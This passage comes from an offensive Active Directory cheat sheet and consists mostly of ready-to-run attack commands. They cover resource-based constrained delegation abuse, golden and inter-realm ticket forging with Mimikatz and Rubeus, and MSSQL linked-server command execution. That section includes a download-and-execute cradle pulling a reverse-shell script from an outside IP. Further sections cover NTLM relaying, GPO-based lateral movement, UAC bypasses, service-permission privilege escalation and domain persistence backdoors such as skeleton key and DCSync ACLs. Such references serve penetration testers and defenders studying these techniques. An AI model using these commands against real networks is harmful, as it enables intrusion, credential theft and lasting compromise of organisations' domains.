</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainComputer</span> -Identity TargetSrv | <span style="color:#24909d">Set-DomainObject</span> -Set @{<span style="color:#ed9d13">&#39;msds-allowedtoactonbehalfofotheridentity&#39;</span>=<span style="color:#40ffff">$SDBytes</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target</span>
</span></span><span style="display:flex;"><span>.\Rubeus.exe s4u /user<span style="color:#a61717;background-color:#e3d2d2">:</span>NewMachine$ /rc4<span style="color:#a61717;background-color:#e3d2d2">:</span>A9A70FD4DF48FBFAB37E257CFA953312 /impersonateuser<span style="color:#a61717;background-color:#e3d2d2">:</span>Administrator /msdsspn<span style="color:#a61717;background-color:#e3d2d2">:</span>CIFS/TargetSrv.targetdomain.com /ptt
</span></span></code></pre></div><h3 id="abusing-domain-trust">Abusing domain trust</h3>
<p>All commands must be run with DA privileges in the current domain.</p>
<p>Note that if you completely compromise a child domain (<code>currentdomain.targetdomain.com</code>), you can <em>by definition</em> also compromise the parent domain (<code>targetdomain.com</code>) due to the implicit trust relationship. The same counts for any trust relationship where SID filtering is disabled (see <a href="#abusing-inter-forest-trust">&lsquo;Abusing inter-forest trust&rsquo;</a> below).</p>
<h4 id="using-domain-trust-key">Using domain trust key</h4>
<p>From the DC, dump the hash of the <code>currentdomain\targetdomain$</code> trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain&rsquo;s enterprise admins group to our &lsquo;SID history&rsquo;.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:targetdomain.com /ticket:c:\users\public\ticket.kirbi
</span></span></code></pre></div><p>Pass this ticket with Rubeus.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>.\Rubeus.exe asktgs /ticket<span style="color:#a61717;background-color:#e3d2d2">:</span>c:\users\public\ticket.kirbi /service<span style="color:#a61717;background-color:#e3d2d2">:</span>LDAP/dc.targetdomain.com /dc<span style="color:#a61717;background-color:#e3d2d2">:</span>dc.targetdomain.com /ptt
</span></span></code></pre></div><p>We can now DCSync the target domain (see below).</p>
<h4 id="using-krbtgt-hash">Using krbtgt hash</h4>
<p>From the DC, dump the krbtgt hash using e.g. DCSync or LSADump. Then, using this hash, forge an inter-realm TGT using Mimikatz, as with the previous method.</p>
<p>Doing this requires the SID of the current domain as the <code>/sid</code> parameter, and the SID of the target domain as part of the <code>/sids</code> parameter. You can grab these using PowerView&rsquo;s <code>Get-DomainSID</code>. Use a SID History (<code>/sids</code>) of <code>*-516</code> and <code>S-1-5-9</code> to disguise as the Domain Controllers group and Enterprise Domain Controllers respectively, to be less noisy in the logs.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:DC$ /groups:516 /ptt
</span></span></code></pre></div><blockquote>
<p>If you are having issues creating this ticket, try adding the &rsquo;target&rsquo; flag, e.g. <code>/target:targetdomain.com</code>.</p></blockquote>
<p>Alternatively, generate a domain admin ticket with SID history of enterprise administrators group in the target domain.</p>
<pre tabindex="0"><code>kerberos::golden /user:Administrator /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt
</code></pre><p>We can now immediately DCSync the target domain, or get a reverse shell using e.g. scheduled tasks.</p>
<h3 id="abusing-inter-forest-trust">Abusing inter-forest trust</h3>
<p>Since a forest is a security boundary, we can only access domain services that have been shared with the domain we have compromised (our source domain). Use e.g. BloodHound to look for users that have an account (with the same username) in both forests and try password re-use. Additionally, we can use BloodHound or PowerView to hunt for foreign group memberships between forests. The PowerView command:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Get-DomainForeignGroupMember</span> -domain targetdomain.com
</span></span></code></pre></div><p>In some cases, it is possible that SID filtering (the protection causing the above), is <em>disabled</em> between forests. If you run <code>Get-DomainTrust</code> and you see the <code>TREAT_AS_EXTERNAL</code> property, this is the case! In this case, you can abuse the forest trust like a domain trust, as described above. Note that you still can <em>NOT</em> forge a ticket for any SID between 500 and 1000 though, so you can&rsquo;t become DA (not even indirectly through group inheritance). In this case, look for groups that grant e.g. local admin on the domain controller or similar non-domain privileges. For more information, refer to <a href="https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/">this blog post</a>.</p>
<p>To impersonate a user from our source domain to access services in a foreign domain, we can do the following. Extract inter-forest trust key as in <a href="#using-domain-trust-key">&lsquo;Using domain trust key&rsquo;</a> above.</p>
<p>Use Mimikatz to generate a TGT for the target domain using the trust key:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>Kerberos::golden /user:Administrator /service:krbtgt /domain:currentdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /target:targetdomain.com /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:ticket.kirbi
</span></span></code></pre></div><p>Then, use Rubeus to ask a TGS for e.g. the <code>CIFS</code> service on the target DC using this TGT.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>.\Rubeus.exe asktgs /ticket<span style="color:#a61717;background-color:#e3d2d2">:</span>c:\ad\tools\<span style="color:#24909d">eucorp-tgt</span>.kirbi /service<span style="color:#a61717;background-color:#e3d2d2">:</span>CIFS/<span style="color:#24909d">eurocorp-dc</span>.eurocorp.local /dc<span style="color:#a61717;background-color:#e3d2d2">:</span><span style="color:#24909d">eurocorp-dc</span>.eurocorp.local /ptt
</span></span></code></pre></div><p>Now we can use the CIFS service on the target forest&rsquo;s DC as the DA of our source domain (again, as long as this trust was configured to exist).</p>
<h3 id="abusing-mssql-databases-for-lateral-movement">Abusing MSSQL databases for lateral movement</h3>
<p>MSSQL databases can be linked, such that if you compromise one you can execute queries (or even OS commands!) on other databases in the context of a specific user (<code>sa</code> maybe? 😙). If this is configured, it can even be used to traverse Forest boundaries! If we have SQL execution, we can use the following commands to enumerate database links.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#999;font-style:italic">-- Find linked servers
</span></span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"></span><span style="color:#6ab825;font-weight:bold">EXEC</span><span style="color:#666"> </span>sp_linkedservers<span style="color:#666">
</span></span></span><span style="display:flex;"><span><span style="color:#666">
</span></span></span><span style="display:flex;"><span><span style="color:#666"></span><span style="color:#999;font-style:italic">-- Run SQL query on linked server
</span></span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"></span><span style="color:#6ab825;font-weight:bold">select</span><span style="color:#666"> </span>mylogin<span style="color:#666"> </span><span style="color:#6ab825;font-weight:bold">from</span><span style="color:#666"> </span>openquery(<span style="color:#ed9d13">&#34;TARGETSERVER&#34;</span>,<span style="color:#666"> </span><span style="color:#ed9d13">&#39;select SYSTEM_USER as mylogin&#39;</span>)<span style="color:#666">
</span></span></span><span style="display:flex;"><span><span style="color:#666">
</span></span></span><span style="display:flex;"><span><span style="color:#666"></span><span style="color:#999;font-style:italic">-- Enable &#39;xp_cmdshell&#39; on remote server and execute commands, only works if RPC is enabled
</span></span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"></span><span style="color:#6ab825;font-weight:bold">EXEC</span><span style="color:#666"> </span>(<span style="color:#ed9d13">&#39;sp_configure &#39;&#39;show advanced options&#39;&#39;, 1; reconfigure&#39;</span>)<span style="color:#666"> </span><span style="color:#6ab825;font-weight:bold">AT</span><span style="color:#666"> </span>TARGETSERVER<span style="color:#666">
</span></span></span><span style="display:flex;"><span><span style="color:#666"></span><span style="color:#6ab825;font-weight:bold">EXEC</span><span style="color:#666"> </span>(<span style="color:#ed9d13">&#39;sp_configure &#39;&#39;xp_cmdshell&#39;&#39;, 1; reconfigure&#39;</span>)<span style="color:#666"> </span><span style="color:#6ab825;font-weight:bold">AT</span><span style="color:#666"> </span>TARGETSERVER<span style="color:#666">
</span></span></span><span style="display:flex;"><span><span style="color:#666"></span><span style="color:#6ab825;font-weight:bold">EXEC</span><span style="color:#666"> </span>(<span style="color:#ed9d13">&#39;xp_cmdshell &#39;&#39;whoami&#39;&#39; &#39;</span>)<span style="color:#666"> </span><span style="color:#6ab825;font-weight:bold">AT</span><span style="color:#666"> </span>TARGETSERVER<span style="color:#666">
</span></span></span></code></pre></div><p>We can also use <a href="https://github.com/NetSPI/PowerUpSQL">PowerUpSQL</a> to look for databases within the domain, and gather further information on (reachable) databases. We can also automatically look for, and execute queries or commands on, linked databases (even through multiple layers of database links).</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get MSSQL databases in the domain, and test connectivity</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-SQLInstanceDomain</span> | <span style="color:#24909d">Get-SQLConnectionTestThreaded</span> | <span style="color:#24909d">ft
</span></span></span><span style="display:flex;"><span><span style="color:#24909d"></span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Try to get information on all domain databases</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-SQLInstanceDomain</span> | <span style="color:#24909d">Get-SQLServerInfo</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get information on a single reachable database</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-SQLServerInfo</span> -Instance TARGETSERVER
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Scan for MSSQL misconfigurations to escalate to SA</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-SQLAudit</span> -Verbose -Instance TARGETSERVER
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Execute SQL query</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-SQLQuery</span> -Query <span style="color:#ed9d13">&#34;SELECT system_user&#34;</span> -Instance TARGETSERVER
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Run command (enables XP_CMDSHELL automatically if required)</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-SQLOSCmd</span> -Instance TARGETSERVER -Command <span style="color:#ed9d13">&#34;whoami&#34;</span> |  <span style="color:#24909d">select </span>-ExpandProperty CommandResults
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Automatically find all linked databases</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-SqlServerLinkCrawl</span> -Instance TARGETSERVER | <span style="color:#24909d">select </span>instance,links | <span style="color:#24909d">ft
</span></span></span><span style="display:flex;"><span><span style="color:#24909d"></span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Run command if XP_CMDSHELL is enabled on any of the linked databases</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-SqlServerLinkCrawl</span> -Instance TARGETSERVER -Query <span style="color:#ed9d13">&#39;EXEC xp_cmdshell &#34;whoami&#34;&#39;</span> | <span style="color:#24909d">select </span>instance,links,customquery | <span style="color:#24909d">ft
</span></span></span><span style="display:flex;"><span><span style="color:#24909d"></span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-SqlServerLinkCrawl</span> -Instance TARGETSERVER -Query <span style="color:#ed9d13">&#39;EXEC xp_cmdshell &#34;powershell.exe -c iex (new-object net.webclient).downloadstring(&#39;&#39;http://172.16.100.55/Invoke-PowerShellTcpRun.ps1&#39;&#39;)&#34;&#39;</span> | <span style="color:#24909d">select </span>instance,links,customquery | <span style="color:#24909d">ft
</span></span></span></code></pre></div><p>If you have low-privileged access to a MSSQL database and no links are present, you could potentially force NTLM authentication by using the <code>xp_dirtree</code> stored procedure to access this share. If this is successful, the NetNTLM for the SQL service account can be collected and potentially cracked or relayed to compromise machines as that service account.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">EXEC</span><span style="color:#666"> </span>master..xp_dirtree<span style="color:#666"> </span><span style="color:#ed9d13">&#34;\\192.168.49.67\share&#34;</span><span style="color:#666">
</span></span></span></code></pre></div><p>Example command to relay the hash to authenticate as local admin (if the service account has these privileges) and run <code>calc.exe</code>. Omit the <code>-c</code> parameter to attempt a <code>secretsdump</code> instead.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c <span style="color:#ed9d13">&#39;calc.exe&#39;</span>
</span></span></code></pre></div><h3 id="abusing-group-policy-objects-for-lateral-movement">Abusing Group Policy Objects for lateral movement</h3>
<p>If we identify that we have the permissions to edit and link new Group Policy Objects (GPOs) within the domain (refer to <a href="#ad-enumeration-with-powerview">&lsquo;AD Enumeration With PowerView&rsquo;</a>), we can abuse these privileges to move laterally towards other machines.</p>
<p>As an example, we can use the legitimate <a href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools">Remote System Administration Tools</a> (RSAT) for Windows to create a new GPO, link it to the target, and deploy a registry runkey to add a command that will run automatically the next time the machine boots.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Create a new GPO and link it to the target server</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">New-GPO</span> -Name <span style="color:#ed9d13">&#39;Totally Legit GPO&#39;</span> | <span style="color:#24909d">New-GPLink</span> -Target <span style="color:#ed9d13">&#39;OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Link an existing GPO to another target server</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">New-GPLink</span> -Target <span style="color:#ed9d13">&#39;OU=TargetComputer2,OU=Workstations,DC=TargetDomain,DC=com&#39;</span> -Name <span style="color:#ed9d13">&#39;Totally Legit GPO&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Deploy a registry runkey via the GPO</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Set-GPPrefRegistryValue</span> -Name <span style="color:#ed9d13">&#39;Totally Legit GPO&#39;</span> -Context Computer -Action Create -Key <span style="color:#ed9d13">&#39;HKLM\Software\Microsoft\Windows\CurrentVersion\Run&#39;</span> -ValueName <span style="color:#ed9d13">&#39;Updater&#39;</span> -Value <span style="color:#ed9d13">&#39;cmd.exe /c calc.exe&#39;</span> -Type ExpandString
</span></span></code></pre></div><p>We can also use <a href="https://github.com/FSecureLABS/SharpGPOAbuse">SharpGPOAbuse</a> to deploy an immediate scheduled task, which will run whenever the group policy is refreshed (every 1-2 hours by default). SharpGPOABuse does not create its own GPO objects, so we first have to run the commands for creating and linking GPOs listed above. After this, we can run SharpGPOAbuse to deploy the immediate task.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>SharpGPOAbuse.exe --AddComputerTask --TaskName <span style="color:#ed9d13">&#34;Microsoft LEGITIMATE Hotfix&#34;</span> --Author NT AUTHORITY\SYSTEM --Command <span style="color:#ed9d13">&#34;cmd.exe&#34;</span> --Arguments <span style="color:#ed9d13">&#34;/c start calc.exe&#34;</span> --GPOName <span style="color:#ed9d13">&#34;Totally Legit GPO&#34;</span>
</span></span></code></pre></div><h2 id="privilege-escalation">Privilege Escalation</h2>
<p>For more things to look for (both Windows and Linux), refer to my <a href="https://cas.vancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/">OSCP cheat sheet and command reference</a>.</p>
<h3 id="powerup">PowerUp</h3>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Check for vulnerable programs and configs</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-AllChecks</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Exploit vulnerable service permissions (does not require touching disk)</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-ServiceAbuse</span> -Name <span style="color:#ed9d13">&#34;VulnerableSvc&#34;</span> -Command <span style="color:#ed9d13">&#34;net localgroup Administrators DOMAIN\user /add&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Exploit an unquoted service path vulnerability to spawn a beacon</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Write-ServiceBinary</span> -Name <span style="color:#ed9d13">&#39;VulnerableSvc&#39;</span> -Command <span style="color:#ed9d13">&#39;c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update&#39;</span> -Path <span style="color:#ed9d13">&#39;C:\Program Files\VulnerableSvc&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Restart the service to exploit (not always required)</span>
</span></span><span style="display:flex;"><span>net.exe stop VulnerableSvc
</span></span><span style="display:flex;"><span>net.exe <span style="color:#24909d">start </span>VulnerableSvc
</span></span></code></pre></div><h3 id="uac-bypass">UAC Bypass</h3>
<p>Using <a href="https://github.com/FatRodzianko/SharpBypassUAC">SharpBypassUAC</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Generate EncodedCommand</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">echo</span> -n <span style="color:#ed9d13">&#39;cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update&#39;</span> | base64
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Use SharpBypassUAC e.g. from a CobaltStrike beacon</span>
</span></span><span style="display:flex;"><span>beacon&gt; execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e <span style="color:#40ffff">Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ</span>==
</span></span></code></pre></div><p>In some cases, you may get away better with running a manual UAC bypass, such as the FODHelper bypass which is quite simple to execute in PowerShell.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># The command to execute in high integrity context</span>
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$cmd</span> = <span style="color:#ed9d13">&#34;cmd /c start powershell.exe&#34;</span>
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Set the registry values</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">New-Item</span> <span style="color:#ed9d13">&#34;HKCU:\Software\Classes\ms-settings\Shell\Open\command&#34;</span> -Force
</span></span><span style="display:flex;"><span><span style="color:#24909d">New-ItemProperty</span> -Path <span style="color:#ed9d13">&#34;HKCU:\Software\Classes\ms-settings\Shell\Open\command&#34;</span> -Name <span style="color:#ed9d13">&#34;DelegateExecute&#34;</span> -Value <span style="color:#ed9d13">&#34;&#34;</span> -Force
</span></span><span style="display:flex;"><span><span style="color:#24909d">Set-ItemProperty</span> -Path <span style="color:#ed9d13">&#34;HKCU:\Software\Classes\ms-settings\Shell\Open\command&#34;</span> -Name <span style="color:#ed9d13">&#34;(default)&#34;</span> -Value <span style="color:#40ffff">$cmd</span> -Force
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Trigger fodhelper to perform the bypass</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Start-Process</span> <span style="color:#ed9d13">&#34;C:\Windows\System32\fodhelper.exe&#34;</span> -WindowStyle Hidden
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Clean registry</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Start-Sleep</span> <span style="color:#3677a9">3</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Remove-Item</span> <span style="color:#ed9d13">&#34;HKCU:\Software\Classes\ms-settings\&#34;</span> -Recurse -Force
</span></span></code></pre></div><h2 id="persistence">Persistence</h2>
<h3 id="startup-folder">Startup folder</h3>
<p>Just drop a binary. Classic. 😎🚩</p>
<p>In current user folder, will trigger when current user signs in:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
</span></span></code></pre></div><p>Or in the global startup folder, requires administrative privileges but will trigger as SYSTEM on boot <em>and</em>  in a user context whenever any user signs in:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
</span></span></code></pre></div><h2 id="domain-persistence">Domain Persistence</h2>
<p>Must be run with DA privileges.</p>
<h3 id="mimikatz-skeleton-key-attack">Mimikatz skeleton key attack</h3>
<p>Run from DC. Enables password &ldquo;mimikatz&rdquo; for all users. 🚩</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>privilege::debug
</span></span><span style="display:flex;"><span>misc::skeleton
</span></span></code></pre></div><h3 id="grant-specific-user-dcsync-rights-with-powerview">Grant specific user DCSync rights with PowerView</h3>
<p>Gives a user of your choosing the rights to DCSync at any time. May evade detection in some setups.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Add-ObjectACL</span> -TargetDistinguishedName <span style="color:#ed9d13">&#34;dc=targetdomain,dc=com&#34;</span> -PrincipalSamAccountName BackdoorUser -Rights DCSync
</span></span></code></pre></div><h3 id="domain-controller-dsrm-admin">Domain Controller DSRM admin</h3>
<p>The DSRM admin is the local administrator account of the DC. Remote logon needs to be enabled first.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">New-ItemProperty</span> <span style="color:#ed9d13">&#34;HKLM:\System\CurrentControlSet\Control\Lsa\&#34;</span> -Name <span style="color:#ed9d13">&#34;DsrmAdminLogonBehavior&#34;</span> -Value <span style="color:#3677a9">2</span> -PropertyType DWORD
</span></span></code></pre></div><p>Now we can login remotely using the local admin hash dumped on the DC before (with <code>lsadump::sam</code>, see <a href="#dumping-secrets-with-mimikatz">&lsquo;Dumping secrets with Mimikatz&rsquo;</a> below). Use e.g. &lsquo;overpass-the-hash&rsquo; to get a session (see <a href="#mimikatz">&lsquo;Mimikatz&rsquo;</a> above).</p>
<h3 id="modifying-security-descriptors-for-remote-wmi-access">Modifying security descriptors for remote WMI access</h3>
<p>Give user WMI access to a machine, using <a href="https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1">Set-RemoteWMI</a> cmdlet from Nishang. Can be run to persist access to e.g. DCs.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Set-RemoteWMI</span> -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace <span style="color:#ed9d13">&#39;root\cimv2&#39;</span>
</span></span></code></pre></div><p>For execution, see <a href="#command-execution-with-wmi">&lsquo;Command execution with WMI&rsquo;</a> above.</p>
<h3 id="modifying-security-descriptors-for-powershell-remoting-access">Modifying security descriptors for PowerShell Remoting access</h3>
<p>Give user PowerShell Remoting access to a machine, using <a href="https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemotePSRemoting.ps1">Set-RemotePSRemoting.ps1</a> cmdlet from Nishang. Can be run to persist access to e.g. DCs.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Set-RemotePSRemoting</span> -UserName BackdoorUser -ComputerName dc.targetdomain.com
</span></span></code></pre></div><p>For execution, see <a href="#command-executin-with-powershell-remoting">&lsquo;Command execution with PowerShell Remoting&rsquo;</a> above.</p>
<h3 id="modifying-dc-registry-security-descriptors-for-remote-hash-retrieval-using-damp">Modifying DC registry security descriptors for remote hash retrieval using DAMP</h3>
<p>Using <a href="https://github.com/HarmJ0y/DAMP">DAMP toolkit</a>, we can backdoor the DC registry to give us access on the <code>SAM</code>, <code>SYSTEM</code>, and <code>SECURITY</code> registry hives. This allows us to remotely dump DC secrets (hashes).</p>
<p>We add the backdoor using the <code>Add-RemoteRegBackdoor.ps1</code> cmdlet from DAMP.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Add-RemoteRegBackdoor</span> -ComputerName dc.targetdomain.com -Trustee BackdoorUser
</span></span></code></pre></div><p>Dump secrets remotely using the <code>RemoteHashRetrieval.ps1</code> cmdlet from DAMP (run as &lsquo;BackdoorUser&rsquo; user).</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get machine account hash for silver ticket attack</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-RemoteMachineAccountHash</span> -ComputerName DC01
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get local account hashes</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-RemoteLocalAccountHash</span> -ComputerName DC01
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get cached credentials (if any)</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-RemoteCachedCredential</span> -ComputerName DC01
</span></span></code></pre></div><h3 id="dcshadow">DCShadow</h3>
<p>DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.</p>
<p>Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses <code>Set-DCShadowPermissions.ps1</code> cmdlet).</p>
